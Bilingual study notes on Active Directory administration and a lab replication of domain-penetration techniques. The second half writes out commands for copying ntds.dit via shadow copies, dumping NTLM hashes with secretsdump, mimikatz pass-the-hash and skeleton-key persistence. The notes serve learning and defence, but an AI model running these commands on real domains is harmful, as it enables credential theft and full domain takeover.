Basic Knowledge
- Active Directory Domain Services is Microsoft’s Directory Server. It provides authentication and authorization mechanisms as well as a framework within which other related services can be deployed (AD Certificate Services, AD Federated Services, etc).
- COM
LAN Information Collection
-
WMIC(Windows Management Instructure Commands): WMI provides users with information about the status of local or remote computer systems and supports. It contains aliases, verbs, switches, and commands.
net config workstation
: Search for the local machine’s domain
-
nltest: NLTEST.EXE is a very powerful command-line utility that can be used to test Trust relationships and the state of Domain Controller replication in a Microsoft Windows NT Domain.
Password Acquirement
- Brute Force Tools:
- SMBCrack2(2005)
- Hydra
- Mimikatz: require the administrator privilege
Kerberoast Attack
- Kerberroast Attack
MITM
LLMNR/NBNS欺骗 + WPAD协议 Tools: Responder
Domain Management Privilege Maintainning
- Golden Ticket
- Silver Ticket
Tutorial: Start-up a active directory
- run
dcpromo
- set password and other procedures
Windows Server 2008 组网技术与应用详解
1. 活动目录域服务
1.1 AD域服务
AD域服务用于本地网络活动目标的管理,包含:
- 只读型域控制器 RODC
- RMS(权限管理服务)
- 联合身份验证服务
- 轻型目录服务器
- 证书服务
活动目录负责目录数据库(即C:\windows\ntds\ntds.dit)的操作,方便用户找寻数据。活动目录存储在域控制器中。每个域有一个或多个域控制器(同一个域内每个控制器中的活动目录相同),分担工作和任务。域控制器管理所有网络访问。活动目录可以包含一个或多个域(域林)。
1.2 结构
1.2.1 逻辑结构:
- 域
- 组织单元:容器对象,局限于域的内部
- 域树:连续命名空间的层次结构
- 域林:不共享连续命名空间的域树组成
1.2.2 物理结构
- 站点
- 域控制器:多主机复制,但仍需指定全局目录服务器
1.2.3 额外域、子域与信任关系
- 额外域控制器:主域控制器的备份和辅助
- 信任关系:
- 可传递信任、
- 快捷信任
- 林信任
- 领域信任
- 非可传递信任
- 可传递信任、
2. 用户与组策略
2.1 用户与组管理
- 用户组
- 系统默认组
- 新组
- 组织单元
- 配置文件
2.2 组策略和应用
介于控制面板和注册表之间的修改系统、设置程序的工具。
- 组策略对象组件 GPO
- 组策略容器组件 GPC
- 组策略模板组件 GPT
- 客户端拓展组件 CSE
- 组策略编辑器组件 GPE
- 计算机策略和用户策略组件
- 组策略和本地策略组件
3. DHCP服务与DNS服务
3.1 概念动态主机分配协议,方便客户端批量自动获取IP地址,其租借过程如下:
- 客户端以0.0.0.0作为自己的IP地址,255.255.255.255作为DHCP服务器地址,广播DHCP发现信息,包含网卡Mac地址和NetBIOS名称。
- 每隔一段时间发送一次直到收到回复,或者自动选定保留IP地址段的一个,保证没有DHCP服务器网络仍能运行。
- 客户单收到第一个请求后以广播方式告知所有服务器。
3.2 在服务器中,以IP作用域作为基本管理单位。IP作用域就是网络中可管理的IP地址分组。超级作用域是DHCP服务器上有多个作用域,用于多网配置。
3.3 DHCP中继代理:将请求发送到远端的DHCP服务器上。
3.4 域名系统,实现名称与IP地址的转换,主要包括:
- DNS域命名空间
- 资源记录
- 服务器
- 客户端
3.5 查询模式:递归查询、迭代查询、反向查询
4. 文件服务与证书服务
4.1 通过文件服务器,设置共享文件夹,并给予不同用户不同的权限。另外,可以使用资源管理器实现文件共享;通过脱机设置实现离线访问共享资源。
4.2 资源访问权限的控制:NTFS。NTFS是从Windows NT开始引入的文件系统,可以为文件夹和文件授权,支持数据压缩和磁盘限额,但不适用与FAT或FAT32文件系统
4.3 磁盘配额:以文件所有权为基础,只应用于卷并监视个人用户卷的使用情况。
4.4 分布式文件系统 DFS:为所有共享文件提供访问点和逻辑树结构,保证服务稳定。
- 独立的根目录分布式文件系统:目录信息存储在本地主服务器上。没有根级别的容错,即根不可达则整个空间不可访问。
- 域分布式文件系统:拓扑信息存储在活动目录AD中。
4.5 数字证书是由证书颁发机构(Certification Authority)数字签名的、包含用户身份信息和用户公钥信息以及身份验证机构数字签名的数据。
- 身份验证机构的数字签名确保信息真实性
- 用户公钥信息确保完整性
- 用户数字签名确保不可否认性
注意:Windows 2008使用公共密钥基础结构(Public Key Infrastructure),即非对称加密技术。 注意,部署了证书服务器后,服务器的计算机名和域名不能更改,但可以更改IP地址。
5. 活动目录权限管理服务(AD Right Management Services)
相关组件:应用程序、服务器、客户端
5.1 权限管理账号证书生成过程:
- 用户第一次使用加密文档之前,需要域用户身份向AD RMS服务器发送请求,获取证书。
- 服务器数据库,若密钥已经存在则使用该密钥,否则新建。
- 服务器将用户密钥中私钥用服务器的私钥加密,并将公钥和加密了的私钥放到权限管理账户证书中。
- 权限管理账户证书被服务器用私钥签名,并发送给用户。
- 服务器将用户的密钥对存储到AD RMS数据库中。
5.2 AD RMS实现原理
5.1.1 服务的发现 5.1.2 文档在线发布过程 5.1.3 文档离线发布过程 5.1.4 受保护文档使用过程
服务器虚拟化(Hyper-V)
与虚拟机不同,Hyper-V管理的虚拟机直接运行在底层,相当于独立的计算机。
网络访问保护(Network Access Protection)
检查联入内网的电脑是否安全,分为4个部分:
- 策略验证
- 隔离
- 补救
- 持续监控
防火墙
IPSec从Windows Server 2003开始使用,位于网络层,可以防止中间人攻击、探测攻击、重放攻击、未认证的网络应用程序访问、只适用IP地址认证的网络应用程序的访问。IPSec有两种模式:传输模式和通道模式。IPSec使用两种协议:AH和ESP。
Internet密钥交换协议(IKE):Internet安全关联和密钥管理协议(ISAKMP)和Oakley金钥交换协议的组合,分为3个模式:主模式、快速模式和用户模式。
ATA[90 days free trial]
The Advanced Threat Analytics is a platform to protect the system from cyber attacks. The informatino collected by ATA via:
- Port mirroring from DC and DNS server to the ATA gateway
- Deploy gateway on Domian Controller
ATA receives events and log from:
- SIEM intergration
- Windows Event Forwarding
ATA detects suspicious activities:
- Reconnaissance
- Lateral movement cycle
- Domain dominance (persistence)
which including:
- Pass-the-Ticket (PtT)
- Pass-the-Hash (PtH)
- Overpass-the-Hash
- Forged PAC (MS14-068)
- Golden Ticket
- Malicious replications
- Reconnaissance
- Brute Force
- Remote execution
三好学生域渗透文章复现与总结
1. 域渗透——获得域控服务器的NTDS.dit文件
1.1 通过VSS服务下的命令获得域控服务器NTDS.dit文件
Concepts:Volume Shadow Copy Service (Volume Snapshot Service) used in manual or automatic backup copies even when they are in use. It contains a set of COM interfaces that implements a framework to allow volume backups to be performed while applications on a system continue to write to the volumes.
支持Windows 2003以上操作系统
1.1.1 使用ntdsutil实现从snapshot中得到ntds.dit
支持Windows 2003以上的系统
- create snapshot:
ntdsutil snapshot "activate instance ntds" create quit quit
- load the snapshot:
ntdsutil snapshot "mount {ef0cadb1-a0f0-46c2-a4de-d6faaef0e199}" quit quit
- copy ntds.dit:
copy C:\$SNAP_201810291848_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
- unload the snapshot:
ntdsutil snapshot "unmount {ef0cadb1-a0f0-46c2-a4de-d6faaef0e199}" quit quit
- delete the snapshot:
ntdsutil snapshot "delete {ef0cadb1-a0f0-46c2-a4de-d6faaef0e199}" quit quit
注意:使用VSS服务会产生日志,ID为7036。create snapshot会产生日志ID为7036(实际测试时并未发现)。
1.1.2 vssadmin
支持windows 2008以上系统
- search current existing shadow:
vssadmin list shadows
- create the shadow:
vssadmin create shadow /for=c:
- copy ntds.dit:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit
- delete the shadow:
vssadmin delete shadows /for=c: /quiet
1.1.3 vshadow.exe
系统默认未安装,需要在Microsoft Windows Software Development Kit (SDK)中获取。vshadow.exe包含微软签名,能绕过某些白名单的限制。 如果作为启动项,Autoruns的默认启动列表不显示。
1.1.4 vssown.vbs
通过wmi对Shadowcopy进行控制,nishang里有powershell版本
1.2 通过NinjaCopy获得域控服务器NTDS.dit文件
powershell 运行脚本失败,语法错误,待研究。
1.3 如何从NTDS.dit文件中获取关键信息
1.3.1 获取各个用户的NTLM的hash值
首先,需要利用system hive文件破解ntds.dit文件,使用注册表编辑器直接导出的reg文件无法用于破解,需要二进制格式的system hive文件。获取方法如下:
- Step 1: 获取system hive文件
reg export HKLM\System system.reg reg save HKLM\System system.hiv The first one can be opened using any text editor; the latter is a full binary dump, and can be opened by loading it in REGEDIT.
-
Step 2: 取得各个账号的hash值
-
Method 1: 使用Impacket/secretsdump.py取得所有账户的hash值
$ python secretdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
-
Method 2: 使用esedbexport
/usr/local/bin/esedbexport -m tables ntds.dit
-
- Step 3: 未完成破解hash值
- hashcat kali虚拟机无法使用,似乎需要GPU
1.3.2: 使用ntdsxtract获取域名信息
- Step 1: 安装
$ wget https://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz
$ tar xf libesedb-experimental-20170121.tar.gz
$ cd libesedb-20170121/
- Step 2: 根据第一步得到的表格,通过dsuser.py脚本得到域名相关信息
dsusers.py ../test/ntds.dit.export/datatable.3 ../test/ntds.dit.export/link_table.5 output –syshive ../test/system.hiv –passwordhashes –pwdformat ocl –ntoutfile ntout –lmoutfile lmout tee all_user_info.txt
2. 域渗透——Pass The Hash的实现
Principle: Attacker use latent NTLM hash instead of plaintext password to authenticate to a remote server.
常用工具:
2.1 Kali: - meterpreter - Tool: pass the hash 2.2 windows - python: wmiexec - powershell: powershell - Invoke-WMIExec - Invoke-SMBExec - Invoke-SMBClient - mimikatz: 需要管理员权限 - 使用pass the ticket不需要管理员权限,但需要另一个工具kekeo
Step 1: 获取用户hash值,结果如下所示
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1dda962106ebf0bd4218bc4d0a78f0c9:::
Experiment Information | |
---|---|
Username | Administrator |
Domain | test |
NTLM | 1dda962106ebf0bd4218bc4d0a78f0c9 |
AES256 |
Step 2: 使用mimikatz实现pass the hash
Method 1: 使用账户hash值,需要管理员权限,
mimikatz "privilege::debug" "sekurlsa::pth /user:Administrator /domain:test.com /ntlm:1dda962106ebf0bd4218bc4d0a78f0c9"
会弹出一个cmd,可以通过dir \\192.168.139.101\c$
实现查看Administrator的主目录,具体其他用法还需要研究。
sekurlsa::pth /user:WORKER1 /domain:test.local /ntlm:2c24919527e360383d7c4cd6c7b0aab0
Method 2: 使用AES_Hash值,适用于安装了KB2871997补丁的主机。[未实现]
mimikatz: 通过sekurlsa::ekeys
可以查看本机内存中的
mimikatz "privilege::debug" "sekurlsa::pth /user:Administrator /domain:test.com /aes256:aad4b3c9ed4b3f1ef04b5a69ff326c9bdc8c43214924fac1b96c88ad168891d3"
sekurlsa::pth /user:krbtgt /domain:test.local /aes256:159ee14fd120960a157b04dd92d1d4ba3debdf859834e76ea0d3f62cb4cf6ac1
用mimikatz "sekurlsa::ekeys"
,发现Administrator账户没有AES256值。
待研究,似乎需要新建一个管理员权限,原本自带Administrator有安全问题需要禁用。
dir \\DCServer\c$
copy sn.txt \\DCServer\c$
net use
计算机管理->共享文件夹->共享
域中各个账号的意义和权限
Administrator Guest krbtgt DCServer
3. 域渗透——Skeleton Key
Step 1: 尝试在域内主机与域服务器建立网络连接
net use \\DCServer.test.com Xjc123 /user:Administrator@test.com
net use \\DCServer.test.com Xjc123456 /user:Jason@test.com
dir \\DCServer.test.com\c$
删除当前连接:net use * /del /y
Step 2: 在DC中通过mimikatz实现安装skeleton key
privilege::debug misc::skeleton
mimikatz的默认Skeleton Key设置为mimikatz
Step 3: 在域内主机通过skeleton key实现用任意账号登录DC
测试发现,使用任意账号都能实现访问域控制器
LSA保护
【似乎在windows 2008没用】Step 1: 设置LSA保护
注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
新建-DWORD值,名称为RunAsPPL,数值为00000001
3. 域渗透——Dump Clear-Text Password after KB2871997 installed
4. 域渗透——Pass The Ticket
漏洞:MS14-068 工具:
- PyKEK
- kekeo
问题总结
-
Windows Server 建立域环境和DNS服务器后使用
nslookup
时显示DNS Server timed out
:解决方法:在DNS反向查找里新建区域,并新建指针,指向DNS服务器。
-
Windows Server 配置静态IP地址和DNS服务器时输入完默认DNS服务器IP地址会默认变成空:
解决方法:设置为自动获取IP地址,再重新设置为静态IP即可解决这个问题。
-
Windows Server 高级共享设置,无法启用网络发现:
解决方法: 先检查是否发生问题2中的情况,再检查是否启用服务:
- Function Discovery Resource Publication
- SSDP Discovery
- UPnP Device Host
-
【终止,因为要钱】在安装ATA的过程中遇到的问题:
-
Hashcat无法使用
clGetDeviceIDs(): CL_DEVICE_NOT_FOUND
clGetDeviceIDs(): CL_DEVICE_NOT_FOUND
No devices found/left.